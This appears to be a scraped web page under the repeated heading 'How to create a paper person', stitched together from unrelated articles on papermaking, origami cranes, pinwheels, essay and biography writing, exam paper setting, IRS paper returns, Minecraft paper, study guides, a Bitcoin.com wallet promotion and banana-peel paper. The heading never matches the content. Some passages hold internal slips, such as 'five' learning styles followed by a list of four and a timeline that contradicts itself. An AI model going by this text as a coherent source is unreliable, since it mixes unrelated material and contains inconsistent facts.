Flat objects such as paper clips, keys, or buttons

Poster board (optional)

How to Make Embossed Designs

Step 1: Rub over an object with your finger; move the object around under the paper. Use a key to make the petals of a flower.

Step 2: Or cut a wavy edge on a strip of poster board, and use it to make an embossed line at the top and bottom of your paper. It’s a pretty decoration for stationery.

For a creative way to recycle junk mail and newspapers, keep reading. You’ll learn the art of paper making.

For more fun crafts and activities, check out:

How to Make Stationery
Paper Crafts
Kids Crafts

Paper making, a process that’s thousands of years old, is a fun project for kids and adults alike. The paper you can make at home will have an interesting texture and is great to use for art projects or stationery.

The basics of paper making are simple, and it’s also an eco-friendly way to recycle old paper products. Gather your collection of junk mail or old newspapers and get started!

What You’ll Need

Junk mail or newspaper

8×8-inch piece of small-holed screening

Smooth board (to press the paper)

How to Make Paper

Step 1: Tear up junk-mail envelopes (without the windows), old letters, or newspaper into small pieces. Soak them overnight in a dishpan with warm water.

Step 2: The next day, add more warm water to the paper, and hand-beat the mixture (or use a blender to mix it) until the pulp is broken apart.

Step 3: Place the soaked paper in a blender, and fill it half full with water. Blend it in short bursts to break up the pulp.

Step 4: Spread some pulp evenly on the screen until the screen is covered with the paper pulp.

Step 5: Place the screen on a towel. Press a board down hard on the paper to squeeze out any excess water. Remove the board.

Step 6: Place a piece of cotton cloth on a flat surface. Turn the screen over onto the cloth to remove the paper. Let the paper dry.

How to create a paper person

Papermaking workshop in Sheila Nakitende’s Studio. Photo by Women’s Studio Workshop, via Flickr.

What you’ll need:

A mould and deckle (or, if you want to make your own, 2 old picture frames or 2 inexpensive stretched canvases, plus a piece of fiberglass or aluminum window screen)
A blender
Recycled paper (office paper, tissue paper, etc.)
Water
A plastic vat (larger than your mould and deckle)
A staple gun (if you have one already)
Duct tape or strapping tape
Several sheets of felt, newspaper, fabric, or towels
A sponge
A clothesline
Optional: Confetti, flower petals, string, or bits of thread (to add color and texture to your paper)

The mould and deckle

How to create a paper person

Making a mould and deckle. Illustration by Alison Kolesar from Papermaking with Garden Plants and Common Weeds by Helen Hiebert.

Remove the existing canvas if there is one, then use a staple gun to affix a piece of window screen—made from fiberglass or aluminum—that is cut slightly smaller than the frame. Apply duct tape or strapping tape to cover the staples and the edges of the screen. If you don’t have a staple gun and are making a small screen, you can just use duct tape to secure the screen to the frame.
You will need a second frame that is the same size as the mould to use as your deckle. (Learn more about making your own mould and deckle here.)

Making pulp

How to create a paper person

Making pulp with a blender. Illustration by Alison Kolesar from Papermaking with Garden Plants and Common Weeds by Helen Hiebert.

Fill your blender ¾ full with water, and add a handful of recycled paper (the equivalent of one standard sheet of office paper). Use plain white if you want white paper; printed/recycled office paper will yield a light grey, and/or you can mix in some colored paper. Experiment with various paper types (text weight, 100% cotton, card stock) to vary the resulting colors and textures.
Put the lid on the blender and turn it on. I usually start at a slow speed—such as “mix”—and then switch to a higher speed when I hear the blender running smoothly (after about five seconds). If the motor sounds strained, turn it off and check that the pulp is not wrapped around the blades, or that there is not too much pulp in the blender.
Dump the freshly beaten pulp directly into the vat if you will be making paper right away; or, you can collect it in a bucket and store it for a few days (it will start to smell if you leave it too long). Continue blending the pulp by the handful.
The ratio of pulp to water varies, depending on how thick you want your sheets to be. Start with a few blenders full of pulp in a vat and see if you are happy with the thickness. Then, add pulp or water as necessary. As you make sheets, you will need to replenish your pulp.
At this point, you can add other small decorative elements to the pulp, like flower petals, confetti, or bits of string or thread. Note that natural elements (like flower petals) might bleed or turn brown—you’ll have to try it to see what happens!

Making paper

How to create a paper person

Dipping the mould and deckle into the vat of pulp. Illustration by Alison Kolesar from Papermaking with Garden Plants and Common Weeds by Helen Hiebert.

The traditional paper origami crane is probably the most famous of all origami models. It’s designed after the Japanese red-crowned crane. In Japanese mythology this crane is known as the “Honourable Lord Crane” and it wings carried souls up to heaven.

The Japanese name for this model is “Orizuru” which simply means “Folded crane.” “Ori” is the same “Ori” that you find in the word origami.

An ancient Japanese legend promises that if anyone folds a thousand paper cranes they will be granted a wish by the gods. In same cases you are granted happiness or good luck.

In Japan the crane is said to live for 1,000 years which is why one must fold 1,000 of them. You have to keep all the cranes to get the wish though. If you fold one and give it away that one doesn’t count.

The origami crane’s popularity is largely due to a children’s book written by author Eleanor Coerr called “Sadako and the Thousand Paper Cranes.”

The story follows a Japanese girl name Sadako who was 2 years old when the United States bombed Japan at the end of World War II. Due to the fall-out from the bombs Sadako developed leukaemia.

In the hospital she spent her time folding origami cranes hoping to make 1,000 of them.

According to Sadako’s family she managed to fold approximately 1,400 paper cranes. Many of these cranes have been donated to places such as the 9-11 memorial in New York City, Pearl Harbour, the Museum of Tolerance and more places as a symbol of peace.

How to create a paper person

Making an origami crane is actually not too difficult. All you need is a single square sheet of paper. We’ve put together the following instructions to walk you through exactly how to fold one yourself.

If you’ve never tried origami before then we recommend you check out our beginner’s guide first. Once you know the basic folds then this will be much easier.

Are you ready to fold? Then lets get started!

This post may contain affiliate links. Please read my full disclosure policy for details.

This craft step by step on how to make paper windmill that spins around, is one of my favorite fun and easy summer craft ideas for kids. Like most of my other crafts these will make great toys to take outside too, as well as to the beach.

How to create a paper person

Paper crafts are cheap and super simple to put together in a short space of time. Plus they are suitable for kids of any age. I’ve got to admit I absolutely love crafting with paper!

This summer pinwheel craft will be kids favorite that’s for sure. My children are always begging me to buy one of these in the shops before we go to the beach!

They simply love watching it spin around in the wind! They also blow to make it move around when there is no wind!

Now we can make our own and add any design we wish!

If you love this paper windmill you will adore my house pinwheel craft, which is basically a tiny windmill!! You can see it below.

How to create a paper person

How To Make A Paper Windmill That Spins Around Using Paper and Scissors

There are lots of summer crafts your little ones can do. Today, they’ll make a paper windmill. Paper windmills are so much fun!

I remember when I was a child, how much I enjoyed running around “making wind” for my paper windmill. Encourage your child’s creativity and suggest using a magazine picture instead of plain paper. Then take him/her out and let them test their summer windmill!

Instead of just plain paper, use a picture or some design that will look cool when turning in the wind!

Make sure you follow the windmill instructions carefully so that your windmill does indeed spin around!

How to create a paper person

A biography is a written account of the series of events that make up a person’s life. Some of those events are going to be pretty boring, so you’ll need to try to make your account as interesting as possible!

Every student will write a biography at some point, but the level of detail and sophistication will differ. A fourth grade biography will be much different from a middle school-level biography or a high school or college-level biography.

However, each biography will include the basic details. The first information you should gather in your research will include biographical details and facts. You must use a trustworthy resource to ensure that your information is accurate.

Using research note cards, collect the following data, carefully recording the source for each piece of information:

Including Basic Details

Date and place of birth and death
Family information
Lifetime accomplishments
Major events of life
Effects/impact on society, historical significance

While this information is necessary to your project, these dry facts, on their own, don’t really make a very good biography. Once you’ve found these basics, you’ll want to dig a little deeper.

You choose a certain person because you think he or she is interesting, so you certainly don’t want to burden your paper with an inventory of boring facts. Your goal is to impress your reader!

Start off with great first sentence. It’s a good idea to begin with a really interesting statement, a little-known fact, or really intriguing event.

You should avoid starting out with a standard but boring line like:

“Meriwether Lewis was born in Virginia in 1774.”

Instead, try starting with something like this:

“Late one afternoon in October, 1809, Meriwether Lewis arrived at a small log cabin nestled deep in the Tennessee Mountains. By sunrise on the following day, he was dead, having suffered gunshot wounds to the head and chest.

You’ll have to make sure your beginning is motivating, but it should also be relevant. The next sentence or two should lead into your thesis statement, or main message of your biography.

“It was a tragic end to a life that had so deeply affected the course of history in the United States. Meriwether Lewis, a driven and often tormented soul, led an expedition of discovery that expanded a young nation’s economic potential, increased its scientific understanding, and enhanced its worldwide reputation.”

Now that you’ve created an impressive beginning, you’ll want to continue the flow. Find more intriguing details about the man and his work, and weave them into the composition.

Examples of Interesting Details:

Some people believed that Lewis and Clark would encounter elephants in the western wilderness, having misunderstood the wooly mammoth bones discovered in the United States.
The expedition resulted in the discovery and description of 122 new animal species and subspecies.
Lewis was a hypochondriac.
His death is still an unsolved mystery, although it was ruled a suicide.

You can find interesting facts by consulting diverse sources.

Fill the body of your biography with material that gives insight into your subject’s personality. For instance, in a biography about Meriwether Lewis, you would ask what traits or events motivated him to embark on such a monumental exercise.

Questions to Consider in Your Biography:

Was there something in your subject’s childhood that shaped his/her personality?
Was there a personality trait that drove him/her to succeed or impeded his progress?
What adjectives would you use to describe him/her?
What were some turning points in this life?
What was his/her impact on history?

Be sure to use transitional phrases and words to link your paragraphs and make your composition paragraphs flow. It is normal for good writers to re-arrange their sentences to create a better paper.

The final paragraph will summarize your main points and re-assert your main claim about your subject. It should point out your main points, re-name the person you’re writing about, but it should not repeat specific examples.

As always, proofread your paper and check for errors. Create a bibliography and title page according to your teacher’s instructions. Consult a style guide for proper documentation.

MAUREEN CUTAJAR

CLASS

When writing a paper on the strengths and weaknesses of a particular topic, apply a SWOT analysis to your argument. SWOT is an acronym for the strengths, weaknesses, opportunities and threats that relate to a given subject. What are the strengths and weaknesses of this issue? How do the strengths translate into opportunities? What weaknesses pose serious threats? Evaluating your topic in this manner provides an analytical point of view which can be backed up with specific evidence by referencing to critical writings about the topic.

Explore this article

Paper Outline
Clearly present your thesis statement
Identify your main subject
Have chosen to explore in your essay
Paraphrase the counterclaims
Relate the strengths and weaknesses
Formulate your own opinion
Summarize your argument

1 Paper Outline

2 Clearly present your thesis statement

The introduction should clearly present your thesis statement. What problem/s will the essay analyze? What are the pros and cons of the chosen subject? What are experts about the subject saying? State which institutions or critical writings extol the strengths and those that identify the weaknesses of your chosen subject to substantiate your argument.

3 Identify your main subject

Identify your main subject, explaining the reasons for your choice and specifying the opposing views it raises. Relate these views to established critical opinions, providing the strengths and weaknesses of your topic in relation to its role in society or field of study.

4 Have chosen to explore in your essay

State the main strengths you have chosen to explore in your essay. Provide an overview of the associated theoretical arguments that back up your claims. Explain these strengths and the opportunities available because of these strengths.

5 Paraphrase the counterclaims

Paraphrase the counterclaims that negate or disagree with the strengths outlined in the previous paragraph. List the counterarguments that theoretical writings adopt, and explore any threats inherent to these weaknesses.

6 Relate the strengths and weaknesses

Relate the strengths and weaknesses outlined above to other texts and theoretical arguments, which can yield further insights to your chosen topic. Identify areas in both schools of thought that are important or controversial, and those that might invite further investigation.

7 Formulate your own opinion

Formulate your own opinion backed up with the information presented in your essay. Explore and evaluate both sides of the argument outlining how your chosen subject matter can prove to be a strength and when it can result in a weakness. Consider what countermeasures can be adopted to minimize weaknesses and threats and maximize strengths and opportunities.

8 Summarize your argument

Summarize your argument by briefly highlighting the most important points raised, and if possible provide some potential solutions. In the conclusion, you can decide that one side of the argument you presented is more valid and state your reasons for this decision. Otherwise, you can explain what other factors need to be addressed to make an informed decision about the issue.

How to create a paper person

Cutting paper doesn’t have to be dangerous, and it helps kids strengthen the small hand muscles they’ll need to eventually write. You don’t need to wait for Christmas to hang garlands around the house. Here’s a fun activity that will help your child learn to cut on a line and help you to overcome your scissor fears.

What You Need:

Pair of child-safe scissors
Pad of construction paper
Markers
Ruler or straight edge
Glue stick or glue bottle

What You Do:

Using your straight edge or ruler and a thick marker, draw lines from one end of a piece of construction paper to the other, about 1 inch apart. You can draw the lines horizontally or vertically depending on how long you want your strips to be. Long strips will create wider links, and a looser paper chain. Short strips will create smaller links. Why use a thick marker? Because these lines will serve as your child’s cutting guides: if the lines are too thin, it will be difficult for your child to cut on them.
Show your child how to hold the scissors and how to open and close them. Squeeze your fingers in for a little hand-over-hand assistance at the beginning. It won’t be long before your child gets the hang of it. Support your child as they cut the strips you’ve outlined and pile them up beside you for future use.
You’ve got your strips. Now what should you do with them? A paper chain of different colors is interesting in and of itself, and your preschooler will probably love hanging it from their ceiling. But you can add something extra to this activity by writing something on each link in the chain. For example, launch a Read-a-Thon and challenge your child to read 50 books by the end of the month. Then, each time you read a book together, write the title on a strip of paper, and glue one end of the strip to the other end. Do the same thing the next night and then slide the new strip through your other loop/ring, and glue its ends together. Voila! You’ve got the first two links for your paper chain. Continue in the same fashion until you have fifty books! Then hang up the chain and give your kid full bragging rights.

Paper chains are a great way to inspire creativity and spark discussion. For young preschoolers, you’ll probably need to do the writing for them, but they’ll enjoy being part of the process. As kids get older, they may want to take a crack at doing some of the lettering themselves. Here are some other ideas for what you can write on the strips:

Have your child think about what they are thankful for, and write each thing on its own strip.
For Earth Day, use each link to name something that you can recycle at your house.
Ask your child to brainstorm the names of all the people who love them.
Make a chain of your child’s “favorite things”.

So there you have it—paper chains. Time to start cutting!

Making an exam – a guide to creating a question paper

A qualification is a way of demonstrating that someone has achieved a certain level of learning.

To gain a qualification, students often take examinations. The exams taken by GCSE and A-level students are based on a syllabus, which is now usually called a specification.

Specifications are created by exam boards and cover all the information and skills that students are expected to have learnt by the end of their course. They are accredited by the exams regulator, Ofqual, to make sure that they meet the national criteria for the qualification.

A question paper tests how well a student can demonstrate that they have acquired the knowledge, understanding and skills set out in the specification.

As it would be impossible to test the entire specification in one set of exams,

we select which areas to focus on in a particular paper, and ensure that all parts of the specification are covered over a five year period.

At the same time – as we develop the question paper – we also create the marking guidance , or mark scheme , that goes with it. This ensures that the overall assessment is valid and students will be given the right marks for their answers

Creating a question paper takes a lot of time. In fact, work starts more than a year and a half before students are due to sit the exam.

A question paper is put together by an exam committee. The members of the committee are often teachers, who have developed assessment expertise as a result of working as examiners. The committee is made up of senior examiners including the chair of examiners for the subject, a chief examiner for the specification and a lead assessment writer for each question paper.

There is also a qualification developer, who is responsible for managing the process and ensuring that the question paper complies with AQA’s rules. In addition, we draw on the research and assessment expertise of our Centre for Education Research and Analysis.

There are two other types of specialists that help ensure the quality and consistency of the question paper – the reviser and the scrutineer. We’ll come back to them in a moment.

Before we start to write a question paper, the chair and chief examiner review the papers from the previous exam series. They look in detail to see how well each question performed. For example – did students understand what they were being asked to do? This review is one of the ways we ensure that we continuously improve the quality of our question papers. The lead assessment writer then develops the blueprint for the paper with the chief examiner. This is one of the most important parts of the whole process, as all the individual questions will be checked carefully against the blueprint.

Once a question and its mark scheme have been created, it is reviewed by the reviser and other senior examiners. They use a comprehensive checklist to make sure each question offers the right level of challenge, tests content that is covered in the specification and is error free.

We want to ensure that our questions work for everyone, so we have a team that modifies papers for visually impaired students. We also work with The British Association of Teachers of the Deaf, who tell us if certain words or images could make the question more difficult for some students.

When all of these checks have been completed, the individual questions are pulled together into a question paper.

At this stage there are a number of further checks to be made. The paper is read by the qualifications developer and professional proofreaders. They check the spelling, grammar and accuracy of the questions, as well as any images, diagrams and charts. After that, the lead assessment writer and reviser check that the paper follows the blueprint.

The next stage is where the first scrutineer comes in. Our scrutineers are subject experts who sit the paper exactly as a student would. They check to see that all the questions are clear, the paper offers the right level of challenge and that it can be completed in the allocated time.

The question paper is then reviewed by the Question Paper Approval Committee, who sign it off as fit for purpose and error free. It’s proofread again and a second scrutineer sits the paper. They check it against the mark scheme, as we need to know if they’ve given the answers we would expect.

A member of the subject team who hasn’t seen the paper before gives it a final check. If everything is fine, the chair of examiners gives their approval.

After 18 months of work, the question paper is ready to be sent to the printers. When we get the printed papers back, we do one last check.

But that’s not quite the end of the process. The question paper now goes back to the specialist team who produce all the different versions of the paper – including large print and braille – which will make it accessible to visually impaired students.

Alert

Due to staffing issues, processing paper tax returns could take several weeks longer. Taxpayers and tax professionals are encouraged to file electronically.

You will usually receive your refund within 3 weeks of the date when the IRS receives your return, even faster if you elect to have it directly deposited into your checking or savings account.

If you mail a paper Form 1040, U.S. Individual Income Tax Return PDF , it can take 6 to 8 weeks to process your return.

Signing the Return

For signing a paper tax return:

If you file a joint return, both spouses must sign the return. If your spouse cannot sign because of a medical condition and requests that you sign the return, sign your spouse’s name in the proper place, followed by the word “by” then your signature, followed by the word “husband” or “wife.” Be sure to also sign in the regular space provided for your signature. Attach a statement that includes the form number of the return you’re filing, the tax year, the reason your spouse cannot sign the return, and that your spouse has agreed to your signing for him or her. If you’re the guardian for your spouse who is mentally incompetent, you may sign the return for your spouse as “guardian.”
If your spouse cannot sign the return for any other reason, you may only sign it if you have a valid power of attorney. You should attach the document granting you power of attorney to the return. You may use Form 2848, Power of Attorney and Declaration of Representative (PDF) for this purpose.
If you’re filing a return for a minor child who cannot sign the return, sign the child’s name followed by the word “by,” your signature, and your relationship, such as “parent” or “guardian for minor child.

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This Minecraft tutorial explains how to craft paper with screenshots and step-by-step instructions.

In Minecraft, papers are an important basic item in your inventory. The crafting process will create 3 papers at a time.

Let’s explore how to make paper.

Supported Platforms

Paper is available in the following versions of Minecraft:

Platform	Supported (Version*)
Java Edition (PC/Mac)	Yes
Pocket Edition (PE)	Yes
Xbox 360	Yes
Xbox One	Yes
PS3	Yes
PS4	Yes
Wii U	Yes
Nintendo Switch	Yes
Windows 10 Edition	Yes
Education Edition	Yes

* The version that it was added or removed, if applicable.
NOTE: Pocket Edition (PE), Xbox One, PS4, Nintendo Switch, and Windows 10 Edition are now called Bedrock Edition. We will continue to show them individually for version history.

Where to find Paper in Creative Mode

Java
PE
Xbox
PS
Nintendo
Win10
Edu

Minecraft Java Edition (PC/Mac)

Here is where you can find paper in the Creative Inventory menu:

Platform	Version(s)	Creative Menu Location
Java Edition (PC/Mac)	1.8 – 1.19	Miscellaneous

Minecraft Pocket Edition (PE)

Here is where you can find paper in the Creative Inventory menu:

Platform	Version(s)	Creative Menu Location
Pocket Edition (PE)	0.14.1 – 1.1.3	Miscellaneous
Pocket Edition (PE)	1.2 – 1.18.10	Items

Minecraft Xbox Editions

Here is where you can find paper in the Creative Inventory menu:

Platform	Version(s)	Creative Menu Location
Xbox 360	TU35 – TU69	Miscellaneous
Xbox One	CU23 – CU43	Miscellaneous
Xbox One	1.2.5 – 1.18.10	Items

Minecraft PS Editions

Here is where you can find paper in the Creative Inventory menu:

Platform	Version(s)	Creative Menu Location
PS3	1.26 – 1.76	Miscellaneous
PS4	1.26 – 1.91	Miscellaneous
PS4	1.14.0 – 1.18.10	Items

Minecraft Nintendo

Here is where you can find paper in the Creative Inventory menu:

Platform	Version(s)	Creative Menu Location
Wii U	Patch 3 – Patch 38	Miscellaneous
Nintendo Switch	1.04 – 1.11	Miscellaneous
Nintendo Switch	1.5.0 – 1.18.10	Items

Minecraft Windows 10 Edition

Here is where you can find paper in the Creative Inventory menu:

Platform	Version(s)	Creative Menu Location
Windows 10 Edition	0.14.1 – 1.1.3	Miscellaneous
Windows 10 Edition	1.2 – 1.18.10	Items

Minecraft Education Edition

Here is where you can find paper in the Creative Inventory menu:

Platform	Version(s)	Creative Menu Location
Education Edition	0.14.2 – 1.0.18	Miscellaneous
Education Edition	1.0.21 – 1.17.30	Items

Definitions

Platform is the platform that applies.
Version(s) is the Minecraft version numbers where the item can be found in the menu location listed (we have tested and confirmed this version number).
Creative Menu Location is the location of the item in the Creative menu.

Required Materials to make Paper

In Minecraft, these are the materials you can use to craft paper:

Check out these tips to create a study guide that will give you a deeper, more meaningful understanding of the material on your next exam.

Creating a study guide is one of the best ways to prepare for an exam and improve your test results. In fact, a study by Stanford researchers found that applying a strategic approach to studying helped college students improve their exam scores by an average of one-third of a letter grade.

Your study guide is more than just a collection of your notes from class. It’s a personal study tool, customized to fit your unique learning style and studying routine.

Check out these tips to create a study guide that will give you a deeper, more meaningful understanding of the material on your next exam.

1. Start by organizing your notes

You’ll want to organize the information in your study guide in a way that makes sense to you. The most common type of study guide is called a “summary sheet.” To create a summary sheet, you will organize your notes conceptually.

Step 1: Divide your paper into two columns, with the right column having significantly more space than the left column.
Step 2: On the right side of your paper, list the most important concepts or terms from each chapter or lesson that will be covered on the test. Underneath each item, provide a summary or description. You can also include examples from the text that will help you remember the material.
Step 3: On the left side of your paper, write cue questions that correspond to the information on the right. Then, cover up the right side of the paper and see if you can answer the questions on the left.

How to create a paper person

The summary sheet method forces you to review your notes as you transcribe them into your study guide, making it more likely that you’ll remember the information later. By quizzing yourself on the questions in the left column, you can determine which concepts and terms you need to review further.

There are several other ways to organize a study guide and the best method will depend on the content you’re studying. For example, if you’re creating a study guide for an upcoming history exam, ordering your notes chronologically and creating a timeline of events will help you understand the historical context behind the information.

These study guides look similar to notes taken using the Cornell method.

2. Practice essay questions

You can prepare yourself for possible essay questions by practicing answers to them beforehand. That way, in case a similar question comes up on the exam, you’ll have a well thought-out answer ready to go. You can try to anticipate what these questions might be using past exams or quizzes, or you can copy the review questions from the textbook, which are often at the end of every chapter. While memorizing the material is one benefit of using a study guide, practicing essay questions will help you make sure you can apply your knowledge in a written response.

3. Make a vocabulary section

If there is a vocabulary section on the exam, dedicate a portion of your study guide to key terms and definitions. Even if there’s not a vocabulary section on the exam, it’s still important to know key terms for when they appear in the context of a question. Knowing your vocabulary will help you feel more comfortable using important terms in your essay responses, which shows your instructor that you have a strong grasp on the exam material.

Concept maps are a great way to study vocabulary, especially if you are a visual learner. To create a concept map, draw a shape around key terms and then draw lines to establish its relationship with other words or concepts.

How to create a paper person

Visual example would be good here Visually mapping out the relationships between different vocabulary words not only helps you remember definitions, it also helps you establish important connections between key terms and concepts.

4. Handwrite it – don’t type it

It may not seem like a big deal, but it’s critical that you handwrite your study guide as opposed to creating it on a computer. While it’s often easier and faster to type something up, writing by hand requires you to slow down and think about the information you are transcribing. This gives you the added benefit of actually absorbing the information you need to study while you are in the process of creating your guide. If you do need to type out your study guide for whatever reason, it’s recommended that you print it out after you are finished. Reading a document on your computer screen won’t help you retain information and you’ll be prone to more distractions from the internet, such as social media notifications or emails.

5. Make it personal

One of the biggest benefits of creating your own study guide is that you can tailor it to fit your learning style. Most people fall within five different types of learning styles: visual, auditory, reading/writing and kinesthetic. As a result, two students studying for the same test might have very different study guides.

As an example, reading/writing learners may benefit from creating a more traditional study guide, such as the summary sheet, and repeatedly rewriting the material. Visual learners will benefit more from color-coding and creating concept maps in order to create meaningful connections between key concepts.

Studying for exams can seem intimidating, but with the right approach, you can increase your chances of success. Creating a personalized study guide will help you review the information in a way that is most helpful to you and can help you improve your test scores as a result.

Creating a Bitcoin wallet is as easy as installing software on your mobile device or laptop/desktop.

When you install the app, your Bitcoin wallet is automatically created. You can then receive bitcoin to your wallet immediately, store it safely, and use it as you please.

Which Bitcoin wallet should I choose?
Software wallets: convenient buying, selling, storing, trading, and using
Hardware wallets: long-term storage for larger amounts of bitcoin
Centralized exchange wallets: convenient buying, selling, and trading
Paper wallets: alternative to hardware wallets, unique method for gifting bitcoin

Which Bitcoin wallet should I choose?

There are a number of wallet apps on the market from a variety of vendors and with different features to choose from. We welcome you to try the Bitcoin.com Wallet, the fully non-custodial crypto wallet trusted by millions.

The Bitcoin.com Wallet is what’s known as a ‘software wallet‘. Quality software wallets provide an excellent combination of security and ease-of-use. Depending on how you’re using your bitcoin though, you may want to consider another wallet type. Here’s a rundown on the different types of Bitcoin wallets and their respective pros & cons:

Software wallets: convenient buying, selling, storing, trading, and using

Software wallets take the form of an app which is downloaded for free to your phone or desktop. You simply open up the app and can start making Bitcoin transactions almost immediately.
Since software wallets connect to the Internet, there’s a small risk of hacking. Therefore, it is generally recommended to not store large amounts of bitcoin in your software wallet. That being said, if you follow password management best practices, it’s safe to store bitcoin in a software wallet.
While there have been a few isolated cases of software wallets being hacked, by far the greater risk is that you lose your ‘private key,’ which is like the password to your wallet. Therefore, it’s critical to backup your wallet and store the password somewhere safe.

Tip: Make sure the software wallet you’re using is fully non-custodial like the Bitcoin.com Wallet, meaning only you can access your cryptoassets — not the wallet provider. This protects you from the risk of fraud or bankruptcy by the wallet provider.

Hardware wallets: long-term storage for larger amounts of bitcoin

Hardware wallets, also known as cold wallets, are physical devices created specifically for the purpose of storing cryptocurrencies. They offer the best security for your digital assets because they insulate you from the Internet, making it effectively impossible for hackers to infiltrate your wallet.
Since they take more time to access, hardware wallets aren’t ideal for making frequent Bitcoin transactions. Use them for long-term storage instead.
As with software wallets, you need to back up your private key and adhere to password management best practices.

Tip: Hardware wallets are well worth the initial cost — especially if you own a lot of bitcoin. To make sure the device isn’t compromised, only buy one from a company you can trust.

Centralized exchange wallets: convenient buying, selling, and trading

Centralized exchanges (CEXs) have traditionally been a popular place for many newcomers to buy their first bitcoin because they make the buying process very simple. It’s like opening a trading account.
However, the CEX itself retains control over the funds in your account. Not only does this expose you to the risk of the exchange getting hacked or going bankrupt, it also means you have to ask for permission to withdraw your bitcoin, wait longer to withdraw, and usually pay higher transaction fees for withdrawals.
We recommend using centralized exchanges only for trading (not for storing your bitcoin).

Tip: CEXs are not a secure place to store digital assets. Once you’ve bought your bitcoin, you’re advised to move it to your software or hardware wallet if you don’t plan on trading it immediately.

Paper wallets: alternative to hardware wallets, unique method for gifting bitcoin

Paper wallets are created by downloading a software package, then running the software (for security, preferably in an offline environment) to generate a public/private key pair which you print out on a piece of paper. Having created a paper wallet, you can send any amount of bitcoin to the wallet address. To spend it, you use the private key written on the paper to sign the spend transaction.

Like hardware wallets, paper wallets allow you to store bitcoin completely offline. This makes them a lower-cost alternative to hardware wallets.

Since the public/private key pair is written on the paper, handing over the paper to another person is similar to handing over a cash note. This makes paper wallets a novel way to exchange bitcoin face-to-face.

You can create your own Bitcoin Cash paper wallets at Bitcoin.com Paper Wallet.

You can learn how to create a Bitcoin paper wallet here.

Buy as little as $30 worth to get started

Choose from Bitcoin, Bitcoin Cash, Ethereum, and more

Author

Professor Emeritus of Global Change Biology and Terrestrial Systems Science, Oregon State University

Disclosure statement

Beverly Law does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

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How to create a paper person

Curious Kids is a series for children of all ages. If you have a question you’d like an expert to answer, send it to [email protected]

How do people make paper out of trees, and why not use something else? – Cooper H., age 6, St. Louis, Missouri

Paper is an important part of modern life. People use it in school, at work, to make artwork and books, to wrap presents and much more. Trees are the most common ingredient for paper these days, but people have been taking notes and creating artworks for a very long time using lots of other kinds of surfaces and materials.

Humans painted pictures on cave walls during the Ice Age. The oldest known drawing, found on a small rock in South Africa, was made 73,000 years ago.

Written language came a long time later. The Sumerians, in what is now Iraq, and the Egyptians used pictures in the first written languages more than 5,000 years ago.

These people etched cuneiform and hieroglyph pictures that formed their languages into rock. They also wrote on slabs of wet clay, using a pen or brush made from a reed. Sometimes they baked these slabs hard in ovens to preserve them.

How to create a paper person

The Egyptians pioneered the first paper. Papyrus came from a 15-foot-tall (4.5 meter) plant of the same name that grew in marshlands along the Nile River. They cut the stalk into thin strips, pressed them together and dried them into the long rolls you can now see preserved in museums. They wrote in ink, which didn’t smudge or blur on this new paper. Papyrus made it easy to carry their writing with them in rolled up scrolls – much easier than carting around heavy clay tablets and rocks.

Wood tablets covered in beeswax became a popular writing material in Greece, Rome and Egypt. Children used them in school as you might use notebooks today. Heating the wax made it easy to erase the writing and reuse the tablets.

How to create a paper person

The Romans took the next step, making books with papyrus pages. Special manuscripts used pages made of treated calf skin.

In China, ancient writing materials included bone, bronze and wood. But then, a little more than 2,000 years ago, the Chinese invented a different kind of paper. Early on, it was made from the hemp plant, washed and soaked in water until it was soft. Then it was beaten into a gooey pulp with a wooden mallet and smoothed into a flat frame to dry.

It took Europeans another 800 years to finally start making paper. They cut up, soaked and treated linen and cotton rags. A half a century later, in 1690, the first rag-paper mill came to the American Colonies.

How to create a paper person

But as people used more and more paper, rags grew scarce. There were more trees than rags, so trees became the raw material. The first U.S. newspaper that was printed on paper made from ground-up wood was the Jan. 14, 1863, edition of the Boston Weekly Journal.

So how do people make paper out of trees today? Loggers cut trees, load them onto trucks and bring them to mills. Machines slice off the bark, and big wood chippers chop the logs into small bits. Those chips are boiled into a soup that looks like toothpaste. To get out any lumps, it is smashed flat, dried and cut up into sheets of paper.

The entire process, from planting a seedling to buying your school notebook, takes a very long time. Just growing the trees takes 10 to 20 years.

Making tons of paper from trees can harm the planet. Humans cut down 80,000 to 160,000 trees around the world every day, and use many of them to make paper. Some of those trees come from tree farms. But loggers also cut down forests for paper, which means that animals and birds lose their homes.

Cutting forests down also contributes to climate change, and paper factories pollute the air. After you throw paper in the trash, a truck takes it to a dump, where it takes six to nine years to decompose.

That’s why recycling is important. It saves a lot of trees, slows climate change and helps protect endangered animals, birds and all creatures that rely on forests for their homes and food.

Did you know that it takes 24 trees to make one ton of paper, which is about 200,000 sheets? You may use a piece of paper one or two times, but it can be recycled five to seven times. Recycling one ton of paper saves 17 trees. If it’s recycled seven times, it saves 117 trees.

So if paper isn’t good for the environment, why don’t people write on something else? The answer: They do. With computers, tablets and cellphones, people use much less paper than in the past. Maybe a day will come when we won’t use paper at all – or will save it for very special books and artworks.

Hello, curious kids! Do you have a question you’d like an expert to answer? Ask an adult to send your question to [email protected] Please tell us your name, age and the city where you live.

And since curiosity has no age limit – adults, let us know what you’re wondering, too. We won’t be able to answer every question, but we will do our best.

Trees do so much more than add aesthetic beauty to our landscape while shielding us from intense sun rays. They also filter airborne pollutants and sequester carbon dioxide emissions, ultimately enabling us to breathe a lot easier. American production of paper and printed matter, however, is responsible for releasing more than 40 million metric tons of CO2 into our atmosphere annually. Tree lovers can seek out sustainable paper options made from pulverized calcium carbonate stone or assorted types of easily renewable plant fibers, or they can even craft an alternative DIY version from trash-bound banana peels for eco-inspired letter writing, says Eco Deaz.

How to Make Banana Peelings Into Paper

1. Prepare the Peels

Remove the stem and blossom end of four banana peels to use the banana peel as paper. Unripe peels work best, but you can use just-ripened peels, too.

2. Set the Peels in a Windowsill

Place the skins in a sunny area such as your windowsill or deck until they transition from yellow to entirely black. They’ll be ready to use in your homemade paper recipe as soon as they are completely devoid of all moisture and pliability.

3. Place Recycled Paper in a Blender

Place 1 cup of shredded recycled paper into a blender along with 2 cups of water. Cover it securely and then blend the combo on high until a gray-tinged slurry forms.

4. Cut the Banana Skins

Prepare your completely dried banana skins so they can be added to the paper pulp by first rough-cutting them into ½-inch bits and then depositing them into a pot of rapidly boiling water, instructs TreeHozz. Allow the material to soften for approximately 15 to 20 minutes, stirring occasionally.

5. Add the Banana Peels to the Blender

The rehydrated banana skins are now ready to be added to the paper slurry already in your blender. Once you augment the mixture with an additional cup of water, replace the lid and process on high until it all comes together in texture and consistency.

6. Set Up Your Mold

